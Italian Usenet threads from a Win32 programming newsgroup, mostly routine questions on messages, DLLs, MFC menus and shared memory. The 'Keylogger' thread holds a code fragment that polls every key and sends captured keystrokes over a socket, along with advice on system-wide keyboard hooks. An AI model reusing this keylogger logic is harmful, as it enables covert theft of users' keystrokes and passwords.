mii-community/UsenetArchiveIT-conversations huggingface dataset:
Newsgroup: it.comp.programmare.win32
Titolo: wm_setttext

ciao a tutti,
sto iniziando a studiare un pò di progr win32 e ho cominciato a leggere una 
risorsa in rete che sembra interessante.
Ho un primo dubbio piuttosto sciocco. Viene proposto alla fine di questa 
pagina del sito un esercizio:
http://www.aleax.it/TutWin32/p7.htm
++++++++++ESERCIZIO+++++++++++
"Esaminando questo piccolo programma, e riflettendo su di esso, vengono in 
mente parecchie considerazioni importanti; troppo importanti, però, per 
"comprimerle" nella coda di questo capitolo -- le rimanderemo a un capitolo 
successivo. Per ora, invece, ci lasciamo con un primo, piccolo esercizio: 
cambiare le risorse, ed il programma, in modo che nello static sia sempre 
mostrato il numero di volte che l'utente ha cliccato su di esso -- in altri 
termini, un contatore di clic. "
++++++++++++FINE++++++++++
il fatto e' che per mandare un messaggio che consenta di scrivere sullo 
static viene spiegato solo il *wm_settext* che riceve come argomento un 
puntatore a stringa (quella che deve essere scritta sulla finestra)
Come faccio a dire alla finestra di cambiare il suo "testo" se questo 
risulta essere un contatore intero, quindi non una stringa ma un numero?
In altre parole, come faccio a scrivere un intero sulla finestra?
Scusate la domanda sciocca ma sono all'inizio.... 

 pagina del sito un esercizio:
CUT
Scrivi l'intero in una stringa et voila' ;)
Sko

 Scrivi l'intero in una stringa et voila' ;)
grandioso :-)
dunque c standard ->sprintf.....
win32->...wsprintf...giusto..?!
cmq grazie, devo oliare un po' le rotelle.... :-) 

o ancora:
#include <sstream>
#include <string>
using namespace std;
template<class T> void AccodaAStringaUnNumero(string& c,T num) {
         ostringstream t;
         t<<num;
         c+=t.str();
}
Newsgroup: it.comp.programmare.win32
Titolo: ListView CRASH

Sto cercando di ottenere informazioni sull'elenco dei nomi dei file da
una finestra di Explorer che usa la classe SysListView32, il codice e'
il seguente:
//DestHW= SysListView32 lista file di explorer
char far *tmpsz= new char far [101];
ListView_GetItemText(DestHW, 1, 0, tmpsz, 100);
La linea sopra provoca un immediato crash di Explorer, per la verita'
provoca un crash di qualsiasi programma con una ListView a qui invii
il messaggio.
Anche con una allocazione globale come la seguente il crash e'
assicurato:
  HANDLE hData;
  char FAR* tmps= NULL;
  hData= GlobalAlloc(GMEM_SHARE	, 101);
  tmps = (char*) GlobalLock(hData);
  ListView_GetItemText(DestHW, 1, 0, tmpsz, 100);
Perche' i programmi a cui invio la richista crashano?
Come posso evitarlo e ottenere in tmpsz il nome dell'item visualizzato
nella lista?
Grazie per ogni suggerimento

 il seguente:
Ne abbiamo parlato molto in passato, dai un occhio anche a Deja. Il
problema e` che quando tu spedisci i messaggi alla listview, nei
parametri passi delle strutture per indirizzo, ma spedendoli a un altro
processo tale indirizzo non e` piu` valido.
Avevo anche messo online i sorgenti di un programmino che uso
abitualmente, che ripristina la posizione delle icone del desktop...
dovrebbe essere qui (se non c'e` e interessa a qualcuno ditemelo, che ce
lo torno a mettere).
http://www.geocities.com/SiliconValley/Peaks/6258/zip/dontmove.zip
---
Bye! Lorenzo Lutti
http://www.geocities.com/SiliconValley/Peaks/6258/




 lo torno a mettere)
non c'e'...
a me interessa.
Ciao, Davide.

>



http://www.geocities.com/SiliconValley/Peaks/6258/zip/dontmove.zip
In effetti non c'e', hai mica le linee che riguardano la chiamata alla
ListView di un altro processo?








 move.zip
Visto che serve a un po' di gente, ecco l'URL giusto:
www.geocities.com/SiliconValley/Peaks/6258/zip/dontmove_src.zip
Non so quanto sia sincronizzato con quello che uso io adesso (ricordo
che le prime versioni se l'Explorer andava in crash lo seguivano a
ruota, mentre le ultime se ne accorgono), comunque e` sostanzialmente
completo.

Newsgroup: it.comp.programmare.win32
Titolo: Problema menù...

Salve,
ho creato una MFC App dialog based. Essa parte con il dialogo principale,
viene visualizzata una finestra per l'utente che inserisce dei dati, poi si
apre un altro dialogo (che non č altro che una progress bar);qui viene
modificato il menů della finestra principale (GetMenu() etc.); quando torno
alla finestra (o anche alla finestra intermedia) e cerco di abilitare una
voce giŕ presente nel menu CRASHA tutto !
La classe CWiSARDDlg č la classe che rappresenta il
dialogo principale della mia applicazione (quella a cui č associato il menu
in esame).
Il metodo č OnImageSet(), esso corrisponde al click di un particolare menů.
PRIMA dell'abilitazione di una voce del menu (che č ciň che mi fa crashare)
un altro dialogo prende dei valori ed aggiunge alcuni item al menu.
Quando questo dialogo termina e il metodo OnImageSet() cerca di abilitare il
menu di cui sopra l'app crasha....
L'istruzione che fallisce č
_AFXWIN_INLINE UINT CMenu::EnableMenuItem(UINT nIDEnableItem, UINT nEnable)
 { ASSERT(::IsMenu(m_hMenu)); return ::EnableMenuItem(m_hMenu,
nIDEnableItem, nEnable); }
nel file AFXWIN1.INL....
Brancolo nel buio....ma se dal menů che realizza la progress bar
NON eseguo modifiche al menů NON crasha...
E' come se dopo una modifica il menů non fosse recuperabile: ho anche
verificato che quando eseguo GetMenu() l'indirizzo che ricevo č sempre lo
stesso, solo che dopo la modifica il metodo EnableItemMenu() fallisce....
PERCHE' ????

> PERCHE' ????
Ti ho provato a dare una risposta qualche thread più in basso. Cmq per 1 e
dico 1 solo problema hai aperto 3 thread diversi...è impossibile darti una
mano se bisogna rincorrerti...

Ti rincollo la risposta però poi posta qui sotto please.
La risposta è qui:
ASSERT(::IsMenu(m_hMenu)
m_hMenu è un handle invalido. Da qualche parte nel codice hai distrutto
l'oggetto Menu (inteso oggetto risorsa-windows non oggettp classe c++)
associato all'handle oppure hai modificato a mano l'handle disassociandolo
dall'oggetto risorsa.
Controlla a ritroso girando sulle chiamate dello stack,  una volta che è
avvenuto il ciocco dove il menu viene rilasciato o l'hmenu contaminato
(perchè quasi sicuramente sei andato a scrivere dento a hmenu).

 wrote in message
news:ZHVu9.83911$RO.21...@twister1.libero.it...


 ha scritto nel messaggio
news:3dbe408e$1...@news.cis.it...



Hai ragione scusa se sono in panico ma trattasi di tesi che NON ho potuto
sviluppare sotto linux (avrei preferito)...
Cmq tra un pò farò un'operazione come quella che mi hai suggerito....
Bye

 sviluppare sotto linux (avrei preferito)...
Ti capisco...eccome...be non mi resta che farti l'in bocca al lupo.


Hai ragione, il mio errore è stato di credere che il Vc++ e l'embedded Vc++
fossero uguali da quel punto di vista,
infatti il mio problema è in eVc++, peccato che a lui manca questa proprietà
(non so come mai)!!!
Comunque grazie, perchè almeno ho capito come si fa in vc++!
Newsgroup: it.comp.programmare.win32
Titolo: Keylogger

ho cercato su google il sorgente in c++ di qualche keylogger ma ne ho
trovati solo per linux e beos.
Sapete dove trovarlo per win?
O almeno qualche consiglio su come implementarlo...
Grazie

 O almeno qualche consiglio su come implementarlo...
Sinceramente non ne ho idea.. Credo dovresti intercettare e duplicare tutti
i messaggi WM_KEYUP... Questo e' banale dentro una applicazione, ma quando
l'applicazione perde il focus?
Cmq tutto ciň sembra molto interessante... Se hai notizie posta sul NG!
Phones
--------------------------------
Inviato via 
http://usenet.libero.it

Phones
A quanto vedo in giro bisognerebbe ricorrere all'assembly.
Tutti i sorgenti che trovo lo usano...
Tranne questo:
//bKstate[] is updated with the new states of all 255 keys,
	//from "on" to "off", it is considered pressed and released,
and then counted.
	int i;
	for(i=0;i<255;i++)
	{
 
// Questa GetAsyncKeyState funziona...
	if (GetAsyncKeyState(i) & 0x8000)
	{
		bKstate[i] = true;	
	}else{
		if (bKstate[i])//considered "pressed"
		{
			if (bNewLine) {
				char msg[312];
				wsprintf(msg,"\n\rin %s: ",strFWnd);
 
				SockOut(sock,msg);
				bNewLine = false;
			}
			cDisp[0] = i;
			SockOut(sock,cDisp);
		}
 
		bKstate[i] = false;
	}
Solo che dà solo i caratteri normali, tutti in maiuscolo.
In pratica rileva solo le VirtualKeys.
Cerco ancora...

Senza ricorrere all' Assembler, basta utilizzare gli Hook (prova a vedere su
MSDN funzioni come SetHook)
un'altra ottima risorsa per trovare esempi č 
http://www.codeguru.com
"Vinz486" <x_vincenzo_x_tarricone_x_@_x_inwind.it_x> wrote in message
news:arbnt2$l4d$1...@newsreader.mailgate.org...


O almeno qualche consiglio su come implementarlo...
Guarda la sezione sugli hook su MSDN.
In sostanza devi impostare un hook WH_KEYBOARD, con la hook procedure
in una DLL, perche` immagino che il tuo keylogger sia system-wide,
cioe` esteso a tutte le applicazioni aperte.  Puoi usare, poi,
RegisterWindowMessage o i memory mapped files, per comunicare con la
tua applicazione e loggare i tasti.  Se ho un po` di tempo ti posto
qualcosa (in C++ Builder).

qualcosa (in C++ Builder).
Grazie mille.


Ho provato con SetWindowsHookEx e funziona benissimo.
Solo che č necessario fare tutto da una dll.
Ora ho un'altro problema: esporto le funzioni parti() e ferma() dalla
dll in modo che l'exe che la carica possa eseguirla ma non ci riesco.
GetProcAddress mi dice sempre "procedura non trovata"
esporto le funzioni con 
 
	__declspec(dllexport) void parti(void) {....}
e le richiamo dall'exe cosě:
	typedef void (*forma)(void); 
	forma parti;
 
	parti=(forma)GetProcAddress(hinstDLL,"parti");
	parti();
Dove sbaglio?
PS: ma declspec si usa con _(uno) o __(due) underscore?

Interesserebbe molto anche a me, dato che non sono riuscita a procurarmi
ancora le MSDN e non posso stare troppo tempo collegata su internet grazie..
:)
G.

Newsgroup: it.comp.programmare.win32
Titolo: sostituire dll in uso





Qualcuno sa come sostituire una 
dll in uso come fa ad esempio InstallShield, senza nemmeno riavviare 
Windows?



vedi WININIT.INI
--
ciao
SaL
    "Luciano Langella" ha scritto nel messaggio ...

Newsgroup: it.comp.programmare.win32
Titolo: Problema con dll

Devo scrivere una dll in cpp da utilizzare in vba,
ma, dopo vari tentativi ho riscontrato il seguente
problema: 
          se antepongo __stdcall alle funzioni vba non trova
          il lunto di ingresso della dll, mentre se utilizzo 
          __declspec mi restituisce un errore di chiamata non   
 
          valida, quindi impossibile utilizzare valori di ritorno
          in quanto vba passa automaticamente alla gestione 
          dell'errore
Come possa risolvere il problema? 
Per scrivere il codice utilizzo DevCpp
-- 
Postato da Alice Newsgroup: lo usi da web ma con le funzioni del newsreader 
http://newsgroup.alice.it
Gerarchie it, italia, it-alt, tin, it.binari. Unico!

 Per scrivere il codice utilizzo DevCpp
pure se fai __declspec(dllexport) ?
cod

 cod
Si, da una veloce ricerca su msdn sembra che vba accetti
solo __stdcall con aggiunta al progetto dll del file .def
dove vengono esposte le funzioni
Il problema che con DevCpp tale procedimento non riesco a
farlo funzionare


Newsgroup: it.comp.programmare.win32
Titolo: Sito Web

Vorrei realizzare un mio sito internet ma non so quale linguaggio o tipo di
tecnologia usare.
Questo sito dovrebbe pubblicizzare i miei prodotti, poter iscrivire i
clienti, ricevere ed inviare e-mail...diciamo un po di tutto.
Quale linguaggio mi consigliate?
Asp, CGI, PHP, Perl, RMI....boh!

 ha scritto nel messaggio
news:arbdm2$h96cf$1...@ID-134361.news.dfncis.de...

Innanzitutto scegli che web server utilizzare, IIS o apache o che altro?
se sei su un ng dedicato a win 32 immagino tu sia orientato a IIS, in questo
caso orientati verso l'ASP.
Ciao

Vorrei creare un'applicazione multipiattaforma.
--
________________________________
Antonio Signoriello
Progettista Software
via Sold. Laurenzano 13
71047 Stornara(FG)
Italy
Cell.  
+393391199968
antonio_s...@hotmail.com
________________________________
"Ro߮" <fhc...@tinPUNTO.it> ha scritto nel messaggio
news:OXuC9.39259$Yw.18...@news2.tin.it...

Newsgroup: it.comp.programmare.win32
Titolo: Badge

Possiedo un pc pentium 2 con win NT in rete che quando voglio apre una
sessione host di un sistema remoto.
Utilizzo un lettore di badge che ogni volta che inserisco un badge invia
tramite com1 dei dati ad una sessione host (che posso vedere tramite
hyper-terminal). Avrei bisogno di un programma per simulare l'invio dei dati
del badge.
(N.B. Il badge non serve per entrare nel sistema, ma occorre passarlo alla
fine di una transazione per identificare un responsabile della transazione
appena fatta. Il problema e' che sono assai ripetitive e tramite VB gestisco
tutte le operazioni tranne che il passaggio del badge...)
Cioč alla richiesta dell'host del passaggio del badge dovrei poter lanciare
un programma che mi simula l'invio dei dati di un badge da una porta com1.
Non ho idea se esite, ma sarebbe sufficente se quanche anima pia mi
indicasse come fare per programmare un programma del genere e con quale
linguaggio. Mi adattero' ad imparare qualsiasi linguaggio tenendo solo
presente che ho installato win NT.
                                    Grazie a chiunque mi risponda
                                                Giallu

 del badge.
Mi sa che non sia semplice. Il metodo piu` semplice e pulito e` quello di
collegare assieme le due porte seriali, e usarne una per scrivere nell'altra.
--
Bye! Lorenzo Lutti
http://www.geocities.com/SiliconValley/Peaks/6258/

Newsgroup: it.comp.programmare.win32
Titolo: OnLButtonDblClk

Ciao, premetto che sto appena agli inizi con il VC++...
Ho creato una finestra di dialogo derivando la classe CDialog (MFC)
Vorrei che sul doppio click sulla finestra fosse eseguito del codice;
Ho provato a mappare il messaggio inserendo sul BEGIN MESSAGE del file .cpp
della finestra
ON_WM_LBUTTONDBLCLK
Però poi non so come utilizzare la funzione
nomeclasse::OnLButtonDblClk
chi può farmi un esempio su come implementare questa funzione?
Ciao e grazie in anticipo!!!

 ha scritto nel messaggio
news:8uor3d$4i4$1...@news.mch.sbs.de...

Se stai usando Visual C++ avrai sicuramente aggiunto la gestione del
messaggio attraverso l'IDE, che ha aggiunto automaticamente
ON_WM_LBUTTONDBLCLK nella mappa dei messaggi; inoltre ha anche aggiunto la
dichiarazione e la definizione della funzione di risposta al doppio click
rispettivamente nel file .h e nel file .cpp della classe in oggetto.
Diciamo quindi che nel file .cpp potresti avere una funzione del genere:
void CDXDateButton::OnLButtonDblClk(UINT nFlags, CPoint point)
{
 // TODO: Add your message handler code here and/or call default
 CButton::OnLButtonDblClk(nFlags, point);
}
dov'è scritto "// TODO: Add your message handler code here and/or call
default" incominci la tua implementazione.
Porlock.
Newsgroup: it.comp.programmare.win32
Titolo: Compilazione a 32bit in modalità reale

E' possibile creare un eseguibile (che lavori in modalità reale) con il
Borland C compiler?

 Borland C compiler?
In modalità reale viaggi a 16 bits. Punto (beh, c'è un modo per viaggiare a
32 bit in modalità reale switchando in protetta, settando descrittori a 32
bit e riswitchando in reale, il cosiddetto unreal mode, ma non lo usa più
nessuno). Altrimenti, sei in modalità protetta. Che tu poi voglia intendere
"con un dos extender", cioé in modalità protetta sotto DPMI, questo è tutto
un altro discorso.
Non so se il borland C (e quale?) te lo permetta, sicuramente debuggare il
programma non sarà divertente.
Ciao,
zello

Newsgroup: it.comp.programmare.win32
Titolo: Notifica apertura finestra

E' possibile ottenere la notifica dell'apertura o creazione di una finestra
da parte di un qualsiasi altro programma?
Emanuele Colombo
colo...@freemail.it
 (togliere - dall'indirizzo)



 wrote in message
7vckq2$lr$1...@fe2.cs.interbusiness.it...

Newsgroup: it.comp.programmare.win32
Titolo: Esiste la Shared Memory in Win32?

Esiste l'equivalente della shared memory di Unix sotto piattaforme Win32?
Grazie per le risposte.
---
http://www.gianlucabove.com
--------------------------------
Inviato via 
http://usenet.libero.it

 Grazie per le risposte.
dai un'occhiata al filemapping  ...
ciao :)
--
------------------------
http://visualwx.too.it/
rad per wxwindows e c++

 piattaforme Win32?
Se con shared memory intendi un blocco di memoria accessibile da tutti
gli spazi di indirizzamento, si`. Si specifica tramite un opportuno flag
nel file .DEF:
SECTIONS
    .shared READ WRITE SHARED
L'utilizzo di segmenti di memoria condivisa e` comunque un'abitudine
deprecabile, la scarsa documentazione in merito e` eloquente (e` cosa
del tutto inusuale avere a che fare con i file .DEF al giorno d'oggi).
Molto meglio usare i memory mapped file.
-- 
Lorenzo

 Molto meglio usare i memory mapped file.
Ok grazie per le risposte!


Newsgroup: it.comp.programmare.win32
Titolo: Come si crea una DLL in Builder C++ ?

Vorrei creare un DLL con il BUILDER C++ e un programmino che legga
qualche funzione da questa. Qualcuno mi puņ aiutare magari mandandomi
un esempio?
E-Mail : mescalito@iol.t

 E-Mail : mescalito@iol.t
Basta che vai in File, New... e a questo punto hai due scelte:
a) Creare una DLL con l'icona che trovi in New (occhio che questa DLL
conterrà tutta la parte del VCL e cavolate varie, quindi uscirà fuori un
file enorme)
b) Scegliere Console Wizard e da lì indicare che vuoi
una DLL (verrà indicativamente più piccola)
Il codice che deve andare in esecuzione all'avvio della
DLL lo inserisci nella funzione DllEntryPoint che il Builder
scrive già per te.
Vicino ad ogni funzione che vuoi esportare metti una speciale dichiarazione
che rende la tua funzione pubblica.
Compila ed avrai la tua DLL.
Nel programma eseguibile dovrai eseguire una LoadLibrary per caricare la
DLL, GetProcAddress
per ottenere l'indirizzo della funzione, e FreeLibrary per disfartene.

Newsgroup: it.comp.programmare.win32
Titolo: [OT] cos'è il RAS???

Ki mi spiega kos'è il RAS e kome mai a me da problemi in WinNT4 SP6a???
Grazie.
Kris.
--
La vita è una tempesta................
........... ma prenderla nel culo è un lampo.

 Ki mi spiega kos'è il RAS e kome mai a me da problemi in WinNT4 SP6a???
Remote Access Service 
E' il "servizio" che il sistema utilizza per connettersi ad un host
remoto. In parole povere e' il "tubo" sulla quale fa passare
i protocolli di rete.
Sul fatto che hai problemi mi sembri un po' vago. 
Fausto

 wrote in message
38E4BF23...@freelance.it...

Mi spiego..........installo NT4........quando mi trovo ad istallare il modem
(3com Sportster ISDN TA interno) kome skeda di rete mi dice (al riavvio) ke
non riesce ad avviare il servizio RAS, pur avendo istallato anke quello
durante l'istallazione del modem.
Mi da gli stessi problemi sia kon SP6a ke senza...........
Se riesci ad aiutarmi posso anke essere + preciso.
Kris.
Newsgroup: it.comp.programmare.win32
Titolo: evitare la visualizzazione della dialog principale

Ho un programma in vc++ dialog based che genera una icona nella traybar, la
quale serve a richiamare/nascondere la dialog.
Vorrei che all'avvio la dialog non apparisse, ma non riesco a trovare il
modo. I vari HIDE, che ho provato in tutti i modi possibili, non sono
efficaci se utilizzati dentro ad initdialog.
Come dovrei fare?
Inoltre vorrei aggiungere uno splash screen, ma per quello avrei una mezza
idea di visualizzare una dialog non modale in cui blittare un bitmap (o
magari selezionarcelo dentro a livello di compilazione)... e` una cosa
corretta?
Ciao e grazie!

 corretta?
se usi visual c++ 5 o superiore c'è un componente già fatto ,basta che lo
aggiungio al progetto e metti la tua bitmap.
comunque basta che crei un dc compatibile,ci selezioni la bitmap e lo blitti
sul desktop.
ciao.


uhm, si, mi sembra meglio della dialog non modale... devo fare qualche
prova.
Ciao e grazie!

 corretta?
Di solito si usa una finestra popup con stile WS_EX_TOOLWINDOW (cosi` non
crea un pulsante sulla taskbar). Va bene anche una dialog, ma il problema
delle dialog e` che non vengono create con una dimensione in pixel costante
e quindi devi allargare o restringere il bitmap (cosa che molti
programmatori non fanno, ed e` per questo che tante applicazioni lame
mostrano uno splash screen con l'immagine che occupa soltanto una parte
della finestra).
--
Lorenzo

Newsgroup: it.comp.programmare.win32
Titolo: aquistare manuale

Ciao Alex ho intenzione di aqustare un manuale me me servirebbe uno molto
esauriente sulle API "programmare MS WINDOWS con MFC di Jeff Prosise
Mondadori Informatica" secondo te' e' un libro adatto se non lo e' mi puoi
consigliare se e' possibile in italiano l'inglese non e' il mio forte .
ciao e' grazie

 consigliare se e' possibile in italiano l'inglese non e' il mio forte .
Il testo di Petzold, pubblicato anch'esso da Mondadori Informatica
(credo!  sicuramente MS Press nell'originale, come il Prosise) e`
il riferimento piu` classico sulla programmazione a livello API.
Alex
Newsgroup: it.comp.programmare.win32
Titolo: libMySql e devcpp

Ciao a tutti.
Sto cercando di compilare l'esempio proposto sul manuale di mysql riguardo
ai prepared statements:
http://dev.mysql.com/doc/mysql/en/mysql-stmt-execute.html
Ma ho problemi con le librerie.
Inizialmente, utilizzando il devpack mysql di devcpp,
non venivano riconoscite neanche i tipi come MYSQL_STMT.
allora ho scaricato mysql 4.1 - noinstall per windows,
e da li ho copiato la directory include in quella di default di devcpp.
Così facendo ho risolto per tutto ciò che riguarda il file include,
ma mi sono bloccato sul linker.
Infatti, dallo stesso pacchetto ho preso anche le librerie di mysql, divise
in due dir: opt e debug.
Dalle proprietà del progetto devcpp ho provato a linkare limysql.lib
sia dell'una che dell'altra, ma sempre ottenendo sempre lo stesso errore:
[Linker error] undefined reference to 'mysql_init@4' e così via con una
sfilza di funzioni...
Ho provato allora ha fare lo stesso discorso con le librerie e gli include
forniti con mysql 5,
ma senza riuscire a risolvere nulla.
Ho cercato su google, ma nn ho trovato un gran che..
Qualcuno saprebbe darmi una mano?
Per me sarebbe molto utile poter usare i Prepared Statements,
ma fin'ora sono riuscito a compilare solo l'esempio incluso con devcpp.
Mille grazie in anticipo.
bye ;-)

 ha scritto nel messaggio
news:41f90f7e$0$8207$5fc...@news.tiscali.it...

Finalmente ho risolto: dovevo solo googlare meglio :-)
Qualora dovesse interessare qualcuno, qui trovate la soluzione:
http://bugs.mysql.com/bug.php?id=8059
in particolare è importante il comando
dlltool -d LIBMYSQL.def -D libmysql.dll -k -l libmysql.a
dopo aver modificato il file LIBMYSQL.def aggiungendo ad ogni funzione i
vari "@4" "@12",
come segnalato negli errori di link da dev-cpp.
bye ;-)

Newsgroup: it.comp.programmare.win32
Titolo: Cattura video

Ciao
sto realizzado un software che esegue il motion detection da un flusso 
in streaming dalla rete, e dovrei poter registrare tale flusso.
Ho cercato in giro, ma ho trovato solo la cattura da dispositivi appunto 
di cattura (webcam, schede tv, ecc..) io avrei bisogno di poter 
catturare ciò che "appare" sul video, quindi compresa l'evidenziazione 
del motion detection.
Al momento l'unica idea che mi viene è quella di salvare il file mano, 
fotogramma per fotogramma (questi li ho perchè ci lavoro sopra per il 
motion detection), ma come salvo un filmato avi da una serie di immagini 
bitmap?
Ma non esiste un modo per poter far vedere la superficie DirectShow che 
mostra a video, come una periferica di acquisisione?
Grazie, è molto importante.

FF ha scritto:

io ho usato questa:
http://www.codeproject.com/bitmap/createmovie.asp
ma non so se sia abbastanza performante (al limite scegli una bassa
compressione e/o qualita').
Nel mio caso e' servita per trasformare dei file con frame compressi
con protocollo proprietario (quindi dovevo prima decomprimere), tutto
off-line.
Ciao
Newsgroup: it.comp.programmare.win32
Titolo: Plugin

Vorrei sapere dove posso documentarmi per realizzare un sistema a plugin....
Ho trovato qualcosa ma prima di mettermi ad implementare vorrei leggere 
altro.....
Thanks! :) 



Linguaggio? Ambiente?

scusa hai ragione.....
MS Visual Studio.NET (c++)  Ambiente Windows
"Yes" <y3...@SPAMkatamail.com> ha scritto nel messaggio 
news:pan.2005.10.30....@SPAMkatamail.com...


Newsgroup: it.comp.programmare.win32
Titolo: Registro, click su di un collegamento dal browser

Come posso fare a dire al browser che clikkato su di un certo collegamento
lo deve passare ad un certo programma ?

 certo collegamento lo deve passare ad un certo programma ?
La tecnica dipende dal browser. Se ho capito cosa ti serve,
questo e` il modo di farlo con IE:
http://msdn.microsoft.com/workshop/networking/pluggable/overview/appendix_a.asp
-- 
/**
 * Alessandro Angeli
 *
 * MVP :: Digital Media
 */

 ha
scritto nel messaggio news:XOmpc.3393$Wc.1...@twister2.libero.it...

Oki grazie, era quello che cercavo ! un'altra domanda ! Per fare in modo che
il programma si aperto una sola volta come posso fare ?

 volta come posso fare ?
Che intendi una sola volta? Un sola volta per sistema, una
per utente, una per sessione...?
In ogni caso, si tratta piu` di un problema generale di
programmazione Win32 che non di integrazione con IE.
Il metodo piu` semplice, e` controllare alla partenza se
esiste gia` la finestra del programma e in tal caso uscire.
Un metodo piu` affidabile e` create un mutex globale con un
dato nome (magari la rappresentazione di un UUID come
stringa) e uscire se il mutex esiste gia`. O altre tecniche
piu` complesse e piu` affidabili.


 piu` complesse e piu` affidabili.
 Per ora ho risolo con un findwindow anche se so che non sempre funziona ma
per il mio programma potrebbe bastare ! Magari piu in la userò i mutex !

 fare ! Se hai altre idee ?
Non c'e` il modo giusto di farlo, solo quello che funziona e
che e` adeguato alle tue esigenze. Credo che tu possa
semplificarti la vita (e rischiare meno, visto che la
clipboard e` pubblica) usando un WM_COPYDATA per trasferire
la stringa della command line all'altro processo:
COPYDATASTRUCT cds = {
    WM_USER + MYDATAID,
    1 + strlen(lpszCmdLine),
    lpszCmdLine };
SendMessage(hWndTarget,WM_COPYDATA,hWndSource,&cds);

Newsgroup: it.comp.programmare.win32
Titolo: Background form

Qualcuno sa se esiste un componente per Borlnd C++ Builder5,freewre o
shareware, per impostare come sfondo di una form un'immgine ripetuta?
-- 
Posted from 
pc-marras.iei.pi.cnr.it
 [146.48.86.64] 
via Mailgate.ORG Server - 
http://www.Mailgate.ORG

 shareware, per impostare come sfondo di una form un'immgine ripetuta?
spero di no, si fa prima a farlo all'interno del codice della form... ;)

 spero di no, si fa prima a farlo all'interno del codice della form... ;)
E come?
Grazie
Lucio


 E come?
da "Using C++ Builder" help:
TCustomForm::Paint
...Override Paint to block the OnPaint event or to draw additional features
before or after the OnPaint event.
//HEADER FILE
class TBkgForm : public TForm
{
...
...
private:
DYNAMIC void __fastcall Paint(void);
Graphics::TBitmap *bmp;
...
...
}
//CPP FILE
//--------------------------------------------------------------------------
-
__fastcall TBkgForm::TBkgForm(TComponent* Owner)
  : TForm(Owner)
{
bmp=new Graphics::TBitmap;
bmp->LoadFromFile("picture.bmp");//o da risorsa, o copia da una TImage sul
form...
}
//--------------------------------------------------------------------------
-
__fastcall TBkgForm::~TBkgForm()
{
delete bmp;
}
//--------------------------------------------------------------------------
-
void __fastcall TBkgForm::Paint(void)
{
TRect dest;
TRect source;
source.Left=0;
source.Top=0;
source.Right=bmp->Width;
source.Bottom=bmp->Height;
for(dest.Left=0;dest.Left<Width;dest.Left+=source.Right) //scansione righe
	{
	dest.Right=dest.Left+source.Right;
	for(dest.Top=0;dest.Top<Height;dest.Top+=source.Bottom) //scansione
colonne
		{
		dest.Bottom=dest.Top+source.Bottom;
		Canvas->CopyRect(dest,bmp->Canvas,source);
		}
	}
}
ciao
Ermando

Newsgroup: it.comp.programmare.win32
Titolo: analogo di gettimeofday?

sapete come fare ad ottenere sotto Win32 l'ora corrente con una risoluzione
al microsecondo. sotto posix esiste gettimeofday che restituisce (in
pratica) 2 int: il primo e' lo stesso di time(0), mentre il secondo sono i
microsecondi frazione del secondo corrente
grazie,
Touch

 wrote in
news:9uo716$17g2$
1...@stargate1.inet.it
: 

GetLocalTime e GetSystemTime arrivano solo al millisecondo.
GetSystemTimeAsFileTime ritorna un FILETIME che in teoria esprime 
valori a step di 100 nanosecondi. 
Non sono però in grado di dirti se effettivamente il valore ritornato 
ha davvero una risoluzione nell'ordine dei microsecondi o si tratta di 
una conversione in formato FILETIME di un dato meno preciso.
-- 
Valter Minute
min...@inwind.it
 (the reply address of this message is invalid)

Newsgroup: it.comp.programmare.win32
Titolo: win32 aiutooooo...

Esiste un libro o un tutorial online sulla programmazione Win32?
E' importante.

Esiste un libro o un tutorial online sulla programmazione Win32?
www.programmazione.it
Paolo
-----------------------------------------------
  Paolo Marotta
  Computer Science, University of Pisa
  home:   
http://www.cli.di.unipi.it/~marotta
-----------------------------------------------
Newsgroup: it.comp.programmare.win32
Titolo: [Win32 Msg] - come si usano i messaggi?

Ciao, ultimamente sto sviluppando in Delphi e ho iniziato ad utilizzare i
messaggi di windows (e quelli da me definiti), ho qualche domanda da fare a
chi di Win32 se ne intende parecchio... io per ora non sono all'altezza :-(
1) che differenza c'e' tra un evento (sia esso di Delphi o di VB), e un
messaggio? Mi spiego meglio, mi sembra di aver capito che in Visual C++
tutto viene fatto con i messaggi, se clicco su un bottone viene processato
il messaggio click sul bottone (o meglio, gli viene spedito), in pratica un
messaggio serve a notificare che e' avvenuto qualcosa, ma anche un evento
serve a questo o no? Per ora credo che gli eventi siano dei Wrapper di
particolari messaggi...
2) Posso passare una struttura o comunque quello che voglio tramite un
messaggio? Ci sono i due parametri Wparam ed Lparam che sono Word, dunque
parole di 32 bit ovvero li posso usare come puntatori, ma in pratica come
devo fare?
supponiamo di avere due finestre (esempio valido sia in Delphi che in Visual
c++, capisco e conosco entrambi), una contiene un message-handler per
WM_PIPPO, l'altra spedisce a questa il messaggio in questione e deve passare
come parametro una struttura o un oggetto, chesso' magari un TWinControl (in
Delphi). mi e' stato detto che devo usare una shared memory area ma la mia
applicazione non e' client-server dunque la memoria dovrebbe essere
condivisa...
Mah, non ho le idee molto chiare... help!
Ciao e grazie Davide
/ - / - | - \ - \
Davide Piras
New (
pir...@engineer.com
)
Old (
pir...@iname.com
)
\ - \ - | - / - /

 condivisa...
Se fai qualcosa tipo
char pBuff[256];
SendMessage(hTarget,WM_USER+1,0,(LPARAM)pBuff);
l'applicativo che riceve il messaggio fara' qualcosa tipo
WindowProc(hWnd,msg,wParam,lParam){
   switch(msg){
   case WM_USER+1:
       char * pBuff = (char *)lParam; // AV quasi sicuro
       break;
   }
}
perche' il sistema non sa come "rendere valido il puntatore"
per un diverso spazio di indirizzamento.
La cosa funzione per finestre create nello stesso applicativo.
Sent via Deja.com 
http://www.deja.com/
Before you buy.

 condivisa...
Se le due finestre sono possedute e gestite dallo stesso processo,
puoi usare un puntatore (con un cast a WPARAM o LPARAM a seconda
di quale parametro usi per passarlo), eventualmente con modi
espliciti di sincronizzazione se si tratta comunque di thread
separati dello stesso processo.
Se si tratta di comunicazione fra processi separati, che sia client
server o meno, allora i puntatori non servono, e anche la shared
memory vale comunque solo entro la stessa macchina (quindi
ti precluderebbe comunicazione distribuita).  Questi problemi non
li avresti con eventi COM grazie al "marshaling" dei parametri.
Alex

 condivisa...
Tempo fa ho postato un messaggio piuttosto lungo che spiegava esattamente
questa procedura. Vuoi che te lo spedisca via e-mail?
--
Bye! Lorenzo Lutti (
http://www.geocities.com/SiliconValley/Peaks/6258/
)
Newsgroup: it.comp.programmare.win32
Titolo: OUTLOOK EXPRESS MALED!!

Ho installato explorer 5.5 non riesco ad aprire outlook express, lo clicco e se si apre ci mette un quarto d'ora.Tengo a precisare che ha funzionato per una settimana poi e andato in tilt.l'ho rinstallato piů volte ma niente.
DATEMI UNA DRITTA GRAZIE
----------------------------------------------------------
